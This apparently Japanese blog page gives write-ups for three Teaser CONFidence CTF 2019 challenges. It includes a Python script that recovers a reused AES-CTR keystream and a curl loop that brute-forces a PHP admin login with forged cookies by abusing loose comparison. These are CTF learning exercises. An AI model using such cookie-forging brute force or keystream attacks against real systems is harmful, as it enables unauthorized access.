Teaser CONFidence CTF 2019

Teaser CONFidence CTF 2019 writeup Count me in!

crypto

Count me in!

Points: 500
Solves: 1

I've been lately using this cool AES-CTR, but it was super slow, so I made a parallel version. Now it's blazing fast, but for some reason I have trouble decrypting the data...

ファイルを解凍すると、Pythonのプログラムソースcount.pyと暗号化データoutput.txtができます。count.pyは次のようなプログラムになっています。固定の文章の後ろにフラグ文字列を付加したテキストデータを16文字ずつに区切って、worker_functionの中でcounter変数(0から1ずつインクリメントされる)をAES.MODE_ECBで暗号化した値key_streamとXORを取っています。multiprocessingで並列処理をしているので同じkey_streamで暗号化されるものがありそうです。また並列処理のタイミングによってはkey_streamが前後したり実行の都度暗号化された結果が変わります。
import multiprocessing

from Crypto.Cipher import AES

from secret import key, flag

counter = 0
aes = AES.new(key, AES.MODE_ECB)


def chunk(input_data, size):
    return [input_data[i:i + size] for i in range(0, len(input_data), size)]


def xor(*t):
    from functools import reduce
    from operator import xor
    return [reduce(xor, x, 0) for x in zip(*t)]


def xor_string(t1, t2):
    t1 = map(ord, t1)
    t2 = map(ord, t2)
    return "".join(map(chr, xor(t1, t2)))


def pad(data):
    pad_byte = 16 - len(data) % 16
    return data + (chr(pad_byte) * pad_byte)


def worker_function(block):
    global counter
    key_stream = aes.encrypt(pad(str(counter)))
    result = xor_string(block, key_stream)
    counter += 1
    return result


def distribute_work(worker, data_list, processes=8):
    pool = multiprocessing.Pool(processes=processes)
    result = pool.map(worker, data_list)
    pool.close()
    return result


def encrypt_parallel(plaintext, workers_number):
    chunks = chunk(pad(plaintext), 16)
    results = distribute_work(worker_function, chunks, workers_number)
    return "".join(results)


def main():
    plaintext = """The Song of the Count

You know that I am called the Count
Because I really love to count
I could sit and count all day
Sometimes I get carried away
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4,
1-2, i love couning whatever the ammount haha!
1-2-3-4, heyyayayay heyayayay that's the sound of the count
I count the spiders on the wall...
I count the cobwebs in the hall...
I count the candles on the shelf...
When I'm alone, I count myself!
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4, 1,
2 I love counting whatever the
ammount! 1-2-3-4 heyayayay heayayay 1-2-3-4
That's the song of the Count!
""" + flag
    encrypted = encrypt_parallel(plaintext, 32)
    print(encrypted.encode("hex"))


if __name__ == '__main__':
    multiprocessing.freeze_support()
    main()
フラグの部分を復号するにはkey_streamが必要となります。これは暗号化データと固定の文字列部分のXORを取ることで暗号化に使われたkey_streamが分かりますので、それを使ってフラグ部分を復号化しフラグ形式となる文字列に復号できるかどうか確認します。
最初の16文字の暗号処理について、output.txtの先頭32文字
9d5c66e65fae92af9c8a55d9d3bf640e
と、平文の先頭16文字
’The Song of the '
を16進文字で表した
54686520536f6e67206f662074686520
とでXORを取ります。これが変数counterが0のときのkey_streamとなります。
c93403c60cc1fcc8bce533f9a7d7012e
以上を行うPythonプログラムを書きます。
import binascii

def xor(*t):
    from functools import reduce
    from operator import xor
    return [reduce(xor, x, 0) for x in zip(*t)]

def xor_string(t1, t2):
    t1 = map(ord, t1)
    t2 = map(ord, t2)
    return "".join(map(chr, xor(t1, t2)))

def decrypt(no):
encry = s[no*32:no*32+32]
plain = plaintext[no*16:no*16+16]
key_stream = xor_string(binascii.unhexlify(encry), plain)
for enc in l:
plain = xor_string(binascii.unhexlify(enc), key_stream)
print([plain])

plaintext = """The Song of the Count

You know that I am called the Count
Because I really love to count
I could sit and count all day
Sometimes I get carried away
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4,
1-2, i love couning whatever the ammount haha!
1-2-3-4, heyyayayay heyayayay that's the sound of the count
I count the spiders on the wall...
I count the cobwebs in the hall...
I count the candles on the shelf...
When I'm alone, I count myself!
I count slowly, slowly, slowly getting faster
Once I've started counting it's really hard to stop
Faster, faster. It is so exciting!
I could count forever, count until I drop
1! 2! 3! 4!
1-2-3-4, 1-2-3-4, 1,
2 I love counting whatever the
ammount! 1-2-3-4 heyayayay heayayay 1-2-3-4
That's the song of the Count!
"""

f = open('output.txt')
s = f.read()
f.close()
l = [s[i: i+32] for i in range(0, len(s), 32)]

decrypt(0)
decrypt(10)
decrypt(20)
decrypt(30)
decrypt(39)
decrypt(49)
decrypt(54)
decrypt(55)
実行すると次のとおりフラグを復号することができます。
$ python bbb.py
['The Song of the ']
['Count\n\nYou know ']
['that I am called']
[' the Count\nBecau']
['se I really love']
[' to count\nI coul']
['d sit and count ']
['all day\nSometime']
['s I get carried ']
['away\nI count slo']
(略)
['wly, slowly, slo']
['wly getting fast']
["er\nOnce I've sta"]
['rted counting it']
["'s really hard t"]
['o stop\nFaster, f']
['aster. It is so ']
['exciting!\nI coul']
['d count forever,']
[' count until I d']
(略)
['rop\n1! 2! 3! 4!\n']
['1-2-3-4, 1-2-3-4']
[',\n1-2, i love co']
['uning whatever t']
['he ammount haha!']
['\n1-2-3-4, heyyay']
['ayay heyayayay t']
["hat's the sound "]
['of the count\nI c']
['ount the spiders']
(略)
[' on the wall...\n']
['I count the cobw']
['ebs in the hall.']
['..\nI count the c']
['andles on the sh']
["elf...\nWhen I'm "]
['alone, I count m']
['yself!\nI count s']
['lowly, slowly, s']
['\n\xa4\x17\x84\x1aDc\xd5\xbbN\x84\x05=q3_']
["ster\nOnce I've s"]
(略)
['lowly getting fa']
['\x15\xbf\x05\x9ai+j\xd3\xaa\x1a\xa4L,4uM']
['tarted counting ']
["it's really hard"]
[' to stop\nFaster,']
[' faster. It is s']
['o exciting!\nI co']
['uld count foreve']
['r, count until I']
[' drop\n1! 2! 3! 4']
['\x7f\xc8\xf6\xda\xdb\x8c4\x9f\xed\xf5\x12\x07\xb1\xb9\xac\xf2']
['-4, 1,\n2 I love ']
(略)
['!\n1-2-3-4, 1-2-3']
['s\xf6\xeb\xd7\xd8\x8d\r\x80\xf9\x90\x12Z\xf3\xfd\xe4\xe1']
['counting whateve']
['r the\nammount! 1']
['-2-3-4 heyayayay']
['^l\xebK\x13\x91\x97\xff\x94F\x80\xc0\xf7d\x16U']
['\xb2\xecR\xf0\x05*\x8ez\xe0{,|.\xf5\xde\xf6']
['g of the Count!\n']
(略)
[' heayayay 1-2-3-']
['\xcc\xe8\xdc\xdao\xda`\xe4\r\x1d\x9d\x91\xeb\xbc\xfb\x8e']
['\x19$\xe1LJ\x84\x86\xfb\xcd%\xde\x98\xab=\x04r']
['p4{at_the_end_of']
['_the_day_you_can']
(略)
["4\nThat's the son"]
['\xe1\xc6i\xfeD*\xc1l\xe0L+l`\xf2\x90\x92']
['\x88\xd6\xf3\xd3z\xf13\xffH6\x90\x9a\xaf\x90\xfb\x86']
['\xa7\x96\xe0\xd7Q\xca&\xeer\x10\x9a\x81\x94\xac\xf5\x8e']
['_only_count_on_y']
['ourself}\x08\x08\x08\x08\x08\x08\x08\x08']
フラグは、
p4{at_the_end_of_the_day_you_can_only_count_on_yourself}
です。



Teaser CONFidence CTF 2019 writeup My admin panel

web warmup

My admin panel

Points: 77
Solves: 74

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

URLにアクセスすると下図のページが表示されます。

1

login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
cookieに{"hash": "0123456789ABCDEF"}をセットしてアクセスしてみます。下図のようにヒントが表示されます。
2
0xC0とANDを取ると0~9のときは0が出力され、A~Fのときは64(0x40)が出力されます。また、PHPの!=の比較演算子の場合、数値と比較すると文字列が数値に変換されて比較されます。ヒントの頭3桁が000であるので0~999の数値をcookieにセットすることで一致させることができそうです。
以上を実行するシェルスクリプトを書きます
for i in `seq 0 999`
do
    echo $i
    out=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`
    echo $out
    if [ "`echo $out | grep p4{`" ]; then break; fi
done
実行すると389のときにフラグが表示されます。
0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    78    0    78    0     0    120      0 --:--:-- --:--:-- --:--:--   120
I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400
(略)
389
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    58    0    58    0     0    160      0 --:--:-- --:--:-- --:--:--   160
Congratulations! p4{wtf_php_comparisons_how_do_they_work}
フラグは、
p4{wtf_php_comparisons_how_do_they_work}
です。



Teaser CONFidence CTF 2019 writeup Sanity check

warmup

Sanity check

Points: 1
Solves: 132

You can find the flag in the topic of our IRC channel linked below.

IRCチャンネル#p4termに接続します。
20:14 チャンネルに入りました
20:14 *xxxxxx join #p4team (~xxxxxx@yyy.zzz)
20:14 *topic : Teaser lasts from March 16th 11:00UTC to March 17th 11:00UTC | https://confidence2019.p4.team | p4{thanks_for_playing_:)}
フラグは、
p4{thanks_for_playing_:)}
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー